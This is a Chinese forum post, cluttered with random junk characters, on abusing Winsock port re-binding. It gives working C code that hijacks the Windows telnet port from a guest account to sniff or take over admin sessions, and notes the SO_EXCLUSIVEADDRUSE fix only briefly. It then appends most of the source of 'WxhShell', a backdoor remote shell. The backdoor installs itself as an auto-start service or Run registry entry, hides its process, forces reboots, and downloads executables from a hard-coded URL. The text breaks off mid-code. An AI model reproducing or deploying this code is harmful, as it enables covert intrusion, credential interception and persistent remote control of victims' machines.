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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: _ooHB>sH  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); M#^q <K %  
DL bP$&o  
  saddr.sin_family = AF_INET; L8D=F7  
[1(eSH  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ti+e U$  
cY!Y?O  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); m%J?5rR3  
'Q E8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 X]}ai5  
6E) T;R(@  
  这意味着什么?意味着可以进行如下的攻击: co\?SgE35  
TYuP EVEXZ  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 ph6/+[:  
qY-aR;  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :/(G#ZaV  
O;VqrO  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 -btNwE6[.  
TE&E f$h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  rrU(>jA!  
(Yj6 |`  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q)aoc.f!v  
:j+E]|d(~6  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 vltE2mb  
zk$h71<{.  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 {($mLfC4  
2+pw%#fe  
  #include )b nGZ8h99  
  #include <IR@/b!,  
  #include qsp3G7\'=  
  #include    vh Oh3  
  DWORD WINAPI ClientThread(LPVOID lpParam);   E~q3o*  
  int main() Ds] .Ae  
  { 0i[t[_sce  
  WORD wVersionRequested; bP$e1I3`  
  DWORD ret; 7x`$ A  
  WSADATA wsaData; MMa`}wSs  
  BOOL val; E*)A!2rlK  
  SOCKADDR_IN saddr; _\4r~=`HQ  
  SOCKADDR_IN scaddr; _~Od G  
  int err; PYQ  
  SOCKET s; VT>-*  
  SOCKET sc; d >L8S L  
  int caddsize; FsUH/Y y  
  HANDLE mt; ){GJgk|P  
  DWORD tid;   51s\)d%l  
  wVersionRequested = MAKEWORD( 2, 2 ); rs4:jS$)  
  err = WSAStartup( wVersionRequested, &wsaData ); ;,Vdj[W$>  
  if ( err != 0 ) { _RcEfT  
  printf("error!WSAStartup failed!\n"); * g+v*q X  
  return -1; o7we'1(O  
  } N/-(~r[  
  saddr.sin_family = AF_INET; CPa+?__B  
   gm]q<~eMW  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?z)2\D  
\Yp"D7:Qi  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); t#M[w|5?  
  saddr.sin_port = htons(23); Usht\<{  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) b^i$2$9_  
  { ? }^ y6  
  printf("error!socket failed!\n"); zk70D_}L  
  return -1; vyc<RjS_x  
  } d<?Zaehe\  
  val = TRUE; ++w{)Io Z  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~+ae68{p  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) aU +uPP  
  { \zVp8MMf  
  printf("error!setsockopt failed!\n"); eiOAbO#U  
  return -1; z1RHdu0;z  
  } L9hL@  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; _j$V[=kdM/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 X%!?\3S  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 sk5=$My  
OvdBUcp[  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 3mE8tTA$R  
  { s!09cS  
  ret=GetLastError(); 2hntQ1[  
  printf("error!bind failed!\n"); tF*Sg{:bCa  
  return -1; ~>]Ie~E: (  
  } ; mV>k_AG  
  listen(s,2); Lo'G fHE  
  while(1) ~&0lWa  
  { /q]fG  
  caddsize = sizeof(scaddr); B$ =1@  
  //接受连接请求 N+R{&v7=F%  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lh0G/8+C  
  if(sc!=INVALID_SOCKET) t(,2x%{  
  { brE%/%! e  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /ORK9 g  
  if(mt==NULL) KPK`C0mg@k  
  { |<]wM(GxE  
  printf("Thread Creat Failed!\n"); %RIu'JXi  
  break; ctb , w  
  } 4`CO>Q  
  } M(^IRI-  
  CloseHandle(mt); F":dS-u&L  
  } 1:h(8%H@"  
  closesocket(s); y#ON=8l  
  WSACleanup(); ;rh =63g  
  return 0; i+-=I+L3  
  }   kad$Fp39  
  DWORD WINAPI ClientThread(LPVOID lpParam) " H=fWz5z  
  { kYS\TMt,C  
  SOCKET ss = (SOCKET)lpParam; u8~5e  
  SOCKET sc; UBwYwm0  
  unsigned char buf[4096]; BhyLcUBuB  
  SOCKADDR_IN saddr; T2T?)_f /  
  long num; <1V>0[[e  
  DWORD val; ='/#G0W  
  DWORD ret; }q/[\3  
  //如果是隐藏端口应用的话,可以在此处加一些判断 CZv^,O(M?2  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   "g!/^A!!  
  saddr.sin_family = AF_INET; 9zehwl]~  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); kx0w?A8-  
  saddr.sin_port = htons(23); kvN6K6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |[bQJ<v6  
  { IgF#f%|Q  
  printf("error!socket failed!\n"); >vfLlYx  
  return -1; |Pse=_i  
  } ijNI6_eU  
  val = 100; %eu_Pr6X  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) H~<wAer,Op  
  { .fzns20u  
  ret = GetLastError(); +zFEx%3^  
  return -1; toox`|  
  } Im`R2_(]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ~r]$(V n  
  { %+$!ctn  
  ret = GetLastError(); (n{!~'3  
  return -1; {2&MyxV  
  } ^6 ,}*@  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) mc6W"  
  { L-3wez;hm  
  printf("error!socket connect failed!\n"); F.R0c@&W  
  closesocket(sc); Ac,bf 8C  
  closesocket(ss); PPtJ/ }\  
  return -1; XOY\NMo  
  } m`3gNox  
  while(1) VS<w:{*  
  { H: ;S1D  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 &4F iYZ  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ;xE1#ZT  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 +m6acu)N.  
  num = recv(ss,buf,4096,0); ukX KUYNm8  
  if(num>0) 6[1lK8o  
  send(sc,buf,num,0); EO.}{1m=hx  
  else if(num==0) 'P >h2^z  
  break; ]FO)U  
  num = recv(sc,buf,4096,0); /%)x!dmy  
  if(num>0) v.]W{~PI2V  
  send(ss,buf,num,0); htqC~B{1E  
  else if(num==0) .`N&,&H  
  break; I* JSb9r  
  } q}7(w$&  
  closesocket(ss); fL R.2vJ  
  closesocket(sc); ez*O'U  
  return 0 ; cU=/X{&Om  
  } $QuSmA<4lS  
=^3B&qQNq  
IQ}YF]I;  
========================================================== F|W(_llfM  
:j!N7c{  
下边附上一个代码,,WXhSHELL 4}=Z+tDu>  
d[Rs  
========================================================== rexy*Xv`2p  
GI*2*m!u  
#include "stdafx.h" h]okY49hY  
V_7QWIdiy>  
#include <stdio.h> vJ!<7 l&  
#include <string.h> |/p2DU2  
#include <windows.h> qeZ*!H6-  
#include <winsock2.h> \wo'XF3:  
#include <winsvc.h> ID v|i.q3  
#include <urlmon.h> r*s)T`T}}  
|h1 Y3  
#pragma comment (lib, "Ws2_32.lib") lw 9 rf4RF  
#pragma comment (lib, "urlmon.lib") cY\"{o"C  
n<>/X_m  
#define MAX_USER   100 // 最大客户端连接数 AVv 8Hhd  
#define BUF_SOCK   200 // sock buffer 0Fm,F&12  
#define KEY_BUFF   255 // 输入 buffer 3P2L phW  
g JMv  
#define REBOOT     0   // 重启 VYN1^Tp  
#define SHUTDOWN   1   // 关机 ns[Q %_  
W_N!f=HW  
#define DEF_PORT   5000 // 监听端口 p^QB^HEV  
IGtqY8  
#define REG_LEN     16   // 注册表键长度 (!`]S>_w9  
#define SVC_LEN     80   // NT服务名长度 #AUz.WHD  
.EQ1r7 9,  
// 从dll定义API B&)o:P7h  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); !;^TW$ G  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); a7Rg!%r  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); UKxeN[fv  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); >T~d uwS  
Fs EPM"&?h  
// wxhshell配置信息 A `n:q;my  
struct WSCFG { kUG3_ *1 .  
  int ws_port;         // 监听端口 (t)a u  
  char ws_passstr[REG_LEN]; // 口令 K2R[u#Q  
  int ws_autoins;       // 安装标记, 1=yes 0=no {n>W8sN<  
  char ws_regname[REG_LEN]; // 注册表键名 pI|H9  
  char ws_svcname[REG_LEN]; // 服务名 #/ Qe7:l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 %@Ty,d:;=  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 *b0f)y3RV  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 P*;zDQy  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 0if~qGm=!  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" PXYo@^ 3  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 9fL48f$  
w oSI 2i  
}; RI%ZT  
_ mw(~r8R  
// default Wxhshell configuration %,M(-G5j;  
struct WSCFG wscfg={DEF_PORT, OjiQBsgnj  
    "xuhuanlingzhe", \!4sd2Yi  
    1, %v(\;&@  
    "Wxhshell", c}>p"  
    "Wxhshell", "~lGSWcU  
            "WxhShell Service", z2lEHa?w  
    "Wrsky Windows CmdShell Service", #E( n  
    "Please Input Your Password: ", Ll L8Q  
  1, ?0VLx,kp  
  "http://www.wrsky.com/wxhshell.exe", BK1Aq3*)  
  "Wxhshell.exe" D 4\T`j:  
    }; j.@TPf*  
jreY'y:  
// 消息定义模块 e/<Og\}P/  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; `n!<h,S'2  
char *msg_ws_prompt="\n\r? for help\n\r#>"; #Mz N7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; w<]Wg^dyQ  
char *msg_ws_ext="\n\rExit."; 8HyK;+ZkVd  
char *msg_ws_end="\n\rQuit."; ei8OLcw:x  
char *msg_ws_boot="\n\rReboot..."; @9pk-BB^D  
char *msg_ws_poff="\n\rShutdown..."; wb }W;C@  
char *msg_ws_down="\n\rSave to "; zV }-_u.  
&\0`\#R  
char *msg_ws_err="\n\rErr!"; 7QlA/iKqK  
char *msg_ws_ok="\n\rOK!"; ^r<bi%@C$  
rtz%(4aS  
char ExeFile[MAX_PATH]; X192Lar  
int nUser = 0; F_$K+6  
HANDLE handles[MAX_USER]; v?7.)2XcX  
int OsIsNt; f&S,l3H<  
>_y>["u6J#  
SERVICE_STATUS       serviceStatus; 7='M&Za  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U9KnW]O%"  
;Vad| -  
// 函数声明 K6.*)7$#  
int Install(void); "(+ >#  
int Uninstall(void); m*BtD-{  
int DownloadFile(char *sURL, SOCKET wsh); K/y#hP  
int Boot(int flag); '~E&^K5hr  
void HideProc(void); [lsr[`SJ<  
int GetOsVer(void); q lL6wzq,  
int Wxhshell(SOCKET wsl); TY,w3E_  
void TalkWithClient(void *cs); ,!f*OWnZ  
int CmdShell(SOCKET sock); shlL(&Py  
int StartFromService(void); .jh uC#x{/  
int StartWxhshell(LPSTR lpCmdLine); G!54 e  
PT|W{RlNl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); $zTjh~ 9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); L`ZH.fN  
wL2d.$?TEg  
// 数据结构和表定义 W)F2X0D>  
SERVICE_TABLE_ENTRY DispatchTable[] = Vl!Z|}z  
{ 7K`A2  
{wscfg.ws_svcname, NTServiceMain}, L44-: 3  
{NULL, NULL} 1_7}B4  
}; <8Qa"<4f;  
_AQ :<0/#  
// 自我安装 :CN,I!:  
int Install(void) AG#5_0]P~  
{ =S-'*F  
  char svExeFile[MAX_PATH]; 6M"]p  
  HKEY key; 6|05-x|  
  strcpy(svExeFile,ExeFile); i%M2(8&^Q  
~PUz/^^ s  
// 如果是win9x系统,修改注册表设为自启动 w$7*za2  
if(!OsIsNt) { 33\{S$p  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { \HDRr*KO  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )jp#|#h  
  RegCloseKey(key); 6P' m0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 'Z-jj2t}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); G1Cn[F;e  
  RegCloseKey(key); S)GWr"m-  
  return 0; f4zd(J  
    } =@m|g )  
  } :<s)QD  
} +EcN[-~  
else { :JqH.Sqk  
g[j"]~  
// 如果是NT以上系统,安装为系统服务 L^ VG?J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 16o3ER  
if (schSCManager!=0) A1p;Ye>o~  
{ 5-}4jwk  
  SC_HANDLE schService = CreateService gydPy*  
  ( PK u+$  
  schSCManager, pHY~_^B4&  
  wscfg.ws_svcname, R{3f5**0  
  wscfg.ws_svcdisp, jGEUl=W  
  SERVICE_ALL_ACCESS, )5Kzq6.  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , JPgV7+{b[  
  SERVICE_AUTO_START, '1=t{Rw  
  SERVICE_ERROR_NORMAL, MZE8Cvq0  
  svExeFile, 7 #_{UJ%  
  NULL,  x9 <cT'  
  NULL, ]]+wDhxH  
  NULL, ?T70C9  
  NULL, u|=_!$8  
  NULL `Y/DttjL  
  ); )oa6;=go  
  if (schService!=0) APuG8 <R,  
  { B[Uvj~g  
  CloseServiceHandle(schService); 0W9,uC2:N  
  CloseServiceHandle(schSCManager); G6Z2[Ej1  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4_`+&  
  strcat(svExeFile,wscfg.ws_svcname); \no[>L]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 'rU [V+  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y-{^L`%Mk  
  RegCloseKey(key); ]E88zWDY`  
  return 0; ooByGQ90V:  
    } )=;0  
  } Ym-uElWo  
  CloseServiceHandle(schSCManager); <r,l  
} 4W~pAruwr  
} KQ xKU?b1  
Uw5z]Jck  
return 1; x\!Qe\lE  
} )`^t,x<S  
wCvtw[6  
// 自我卸载 y_38;8ex  
int Uninstall(void) YQiTx)_  
{ VLc=!W}  
  HKEY key; d> `9!)  
?I`']|I  
if(!OsIsNt) { sn/^#Aa=N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _{KQQ5k\  
  RegDeleteValue(key,wscfg.ws_regname); v'S}&zmF]  
  RegCloseKey(key); R|ViLty  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Tv3Bej  
  RegDeleteValue(key,wscfg.ws_regname); F>)u<f,C  
  RegCloseKey(key); !Z,h5u\.w  
  return 0; b-@VR  
  } "kz``6C  
} E:(flW=  
} W sQo+Ua  
else { 0eQyzn*98  
U/m6% )Yx(  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;c_X ^"d  
if (schSCManager!=0) 9n$GeRO  
{ %?y ?rt  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); \q(RqD  
  if (schService!=0) 'd^U!l  
  { X26gl 'U  
  if(DeleteService(schService)!=0) { P8Fq %k  
  CloseServiceHandle(schService); EMmNlj6  
  CloseServiceHandle(schSCManager);  .-'  
  return 0; Gb<)U[Hfd  
  } t%n1TY,  
  CloseServiceHandle(schService); 0Oc' .E9  
  } pcv(P  
  CloseServiceHandle(schSCManager); x,STt{I=  
} 1 +O- g  
} pN&5vu30  
Ix^xL+Tm  
return 1; j Aw&5,  
} B5IS-d  
B8'" ^a^&-  
// 从指定url下载文件 i))S%!/r~  
int DownloadFile(char *sURL, SOCKET wsh) cV_nYcLkz  
{ f[HhLAVGK`  
  HRESULT hr; }L{en  
char seps[]= "/"; ync2X{9D  
char *token; zJOjc/\  
char *file; G7DEavtr  
char myURL[MAX_PATH]; .ZFs+8qU>  
char myFILE[MAX_PATH]; l!<Nw8+U  
E#`=xg  
strcpy(myURL,sURL); {^1GHU  
  token=strtok(myURL,seps); \Q|1I  
  while(token!=NULL) G@oY2sM"  
  { 3aQWzEnh  
    file=token; @>_`g=  
  token=strtok(NULL,seps); h)"PPI  
  } @H"~/m_o  
b!J21cg<L  
GetCurrentDirectory(MAX_PATH,myFILE); j~(rG^T  
strcat(myFILE, "\\"); G)';ucs:,  
strcat(myFILE, file); <YP>c  
  send(wsh,myFILE,strlen(myFILE),0); scCOiK)  
send(wsh,"...",3,0); p)N=  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); FRQ0tIp  
  if(hr==S_OK) AdesR-e$R  
return 0; R)"Ds}1G  
else 4*g`!~)  
return 1; H2l/9+  
~z$vF  
} z/)HJo2#  
Igt:M[ /  
// 系统电源模块 fD  
int Boot(int flag) YQvN;W  
{ y~w2^VN=  
  HANDLE hToken; w7$*J:{  
  TOKEN_PRIVILEGES tkp; Q9H~B`\nQ  
D'F =v\P  
  if(OsIsNt) { f ."bq43(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~C6d5\  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >c*}Do{lG  
    tkp.PrivilegeCount = 1; ` /#f8R1g  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; !5wm9I!5^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Zj99]4?9  
if(flag==REBOOT) { 8 sZ~3  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) \Y_2Z /  
  return 0; ya0L8`q  
} !jL|HwlA  
else { UB }n=  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) v=EV5#A  
  return 0; 0'wB':v  
} 8bLA6qmM\  
  } cu5Yvp  
  else { "jH=O(37  
if(flag==REBOOT) { "G-} wt+P  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \/g.`Pe  
  return 0; o_p#sdt"  
} S H2|xn  
else { <RS@,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) laG@SV  
  return 0; l&S2.sC  
} 1P:r=Rt/  
}  AC@WhL  
N@lTn}U  
return 1; 9bR lSb@  
} @r]wZ~@  
x*Y&s<  
// win9x进程隐藏模块 :p0|4g  
void HideProc(void) fhw.A5Ck  
{ aN?{MA\  
~CgKU8  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); {L5!_] 6  
  if ( hKernel != NULL ) y.AVH`_u  
  { N=^{FZ  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); r63_|~JVB<  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 55MrsiW  
    FreeLibrary(hKernel); _\hZX|:]  
  } G=W!$(:  
~s{yh-B  
return; 0OO$(R*  
} 3o&PVU? Q  
j/`- x  
// 获取操作系统版本 :Fz;nG-G  
int GetOsVer(void) D 's'LspQ  
{ { </MC`  
  OSVERSIONINFO winfo; 4bLk+EY4A  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); SIv8EMGo  
  GetVersionEx(&winfo); /4J2F9:f  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) >Ig%|4Hw  
  return 1; LW<DhMV  
  else 7 ^7Rk  
  return 0; g+;)?N*j  
} ,#3u. =IR[  
/` 891( f,  
// 客户端句柄模块 20750G  
int Wxhshell(SOCKET wsl) Oa~|a7`o  
{ MG)wVS<d_  
  SOCKET wsh; M>W-lp^3  
  struct sockaddr_in client; ,3l=44*  
  DWORD myID; Kk#g(YgNz  
~WXT0-,  
  while(nUser<MAX_USER) FjF:Eh  
{ #va|&QBZxM  
  int nSize=sizeof(client); 35I y\  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ^j&'2n@ 9a  
  if(wsh==INVALID_SOCKET) return 1; qD=o;:~Km  
NfvvwG;M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); =67dpQ'y  
if(handles[nUser]==0) |g<1n  
  closesocket(wsh); }#}IR5`=E  
else |M]#D0v  
  nUser++; wv0d"PKTS  
  } SFCKD/8  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); to{/@^ D  
;AMbo`YK[  
  return 0; v$c*3H.seM  
} MDn+K#p  
4Kjrk7GAx  
// 关闭 socket vFz%#zk>  
void CloseIt(SOCKET wsh) e=K2]Y Q{  
{ PkA_uDhw  
closesocket(wsh); y+xw`gR:  
nUser--; 0!X;C!v;  
ExitThread(0); H%N !;Jz=  
} par| j]  
gI8r SmH  
// 客户端请求句柄 &Fo)ea  
void TalkWithClient(void *cs) #eSVFD5ZU  
{ q>:>f+4  
7 j$ |fS  
  SOCKET wsh=(SOCKET)cs; E +\?|q !T  
  char pwd[SVC_LEN]; > w:+nG/r  
  char cmd[KEY_BUFF]; lg` Qi&  
char chr[1]; >;V ? s]  
int i,j; #U45H.Rz  
@V{s'V   
  while (nUser < MAX_USER) { b<,Z^Z_  
]"bkB+I  
if(wscfg.ws_passstr) { jO xH' 1I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n5CjwLgu\b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); MG ,exN @  
  //ZeroMemory(pwd,KEY_BUFF); #?%akQ+w  
      i=0; KWtLrZ(j  
  while(i<SVC_LEN) { .w5#V|   
k8fvg4  
  // 设置超时 o=i)s2   
  fd_set FdRead; +E8 \g  
  struct timeval TimeOut; (2J_Y*N~>  
  FD_ZERO(&FdRead); n';"c;Ye)  
  FD_SET(wsh,&FdRead); -L e:%q2  
  TimeOut.tv_sec=8; AQkH3p/W  
  TimeOut.tv_usec=0; {!5"Y(>X  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); *zoAD|0N  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Fx#0 :p  
)=VSERs  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); K..L8#SC  
  pwd=chr[0]; )o!y7MTl  
  if(chr[0]==0xd || chr[0]==0xa) { 0{ M=^96  
  pwd=0; ;\(Wz5Ok&J  
  break; 1(!w xJ  
  } &4M0 S+.  
  i++; ?DPN a  
    } 2 mM0\ja  
&_X6m0z  
  // 如果是非法用户,关闭 socket |lH~nU.*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A*l(0`aWq  
} v_Om3i9$E  
s+Qm/ h2  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Mazjn?f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }`k >6B  
J }izTI  
while(1) { jU')8m[  
Dw}8ci'  
  ZeroMemory(cmd,KEY_BUFF); |k5uVhN  
d{_tOj$  
      // 自动支持客户端 telnet标准   Oi{X \Y  
  j=0; y Q\K;  
  while(j<KEY_BUFF) { {l&6= z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); N<wy"N{iS  
  cmd[j]=chr[0]; zt/p' khP3  
  if(chr[0]==0xa || chr[0]==0xd) { @91Q=S  
  cmd[j]=0; #6g-{OBv  
  break; :`BZ,j_  
  } b_ 88o-*/  
  j++; m~s.al(G91  
    } &.k'Dj2hf  
|~mq+:44+  
  // 下载文件 I#(D.\P  
  if(strstr(cmd,"http://")) { ^bpxhf x  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S.o 9AUv9  
  if(DownloadFile(cmd,wsh)) v=Ep  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _%WJ7~>  
  else pQ0yZpN%;  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); RB1c!h$u  
  }  _Y@'<S.  
  else { PAF2=  
1_vaSEov  
    switch(cmd[0]) { KobNi#O+  
  R03V+t=  
  // 帮助 Bvx%|:R  
  case '?': { >o{(f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); NJ8QI(^"  
    break; [uOW\)`  
  } ,=KJ7zIK?  
  // 安装 }N; c  
  case 'i': { :32  
    if(Install()) @+A`n21,O  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); V^Wo%e7#u[  
    else Alh"G6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b6=.6?H@4f  
    break; k#k!AcC  
    } 42:~oKiQ$"  
  // 卸载 Nx4_Oc^hY  
  case 'r': { PN0l#[{EN  
    if(Uninstall()) N*JWd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WE$Pi;q1  
    else w?kdM1T  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Zcd!y9]#  
    break; 31mY]Jve"  
    } ,lm.~%}P*  
  // 显示 wxhshell 所在路径 e#`wshtN:  
  case 'p': { T 1m097  
    char svExeFile[MAX_PATH]; !Dp4uE:Pq  
    strcpy(svExeFile,"\n\r"); 0 6 1@N=p8  
      strcat(svExeFile,ExeFile); nIVPh99  
        send(wsh,svExeFile,strlen(svExeFile),0); _$/(l4\T[  
    break; k^gnOU;  
    } NC::;e  
  // 重启 MNip;S_j  
  case 'b': { +s&+G![  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); w2y{3O"p=  
    if(Boot(REBOOT)) KfJF9!U*?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m MO:m8W  
    else { _QCspPT' c  
    closesocket(wsh); YBQO]3f  
    ExitThread(0); P(fTlrb  
    } E@QsuS2&  
    break; *1iJa  
    } drT X  
  // 关机 -Zfzl`r  
  case 'd': { "^~f.N  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o2?[*pa  
    if(Boot(SHUTDOWN)) l'-dB  
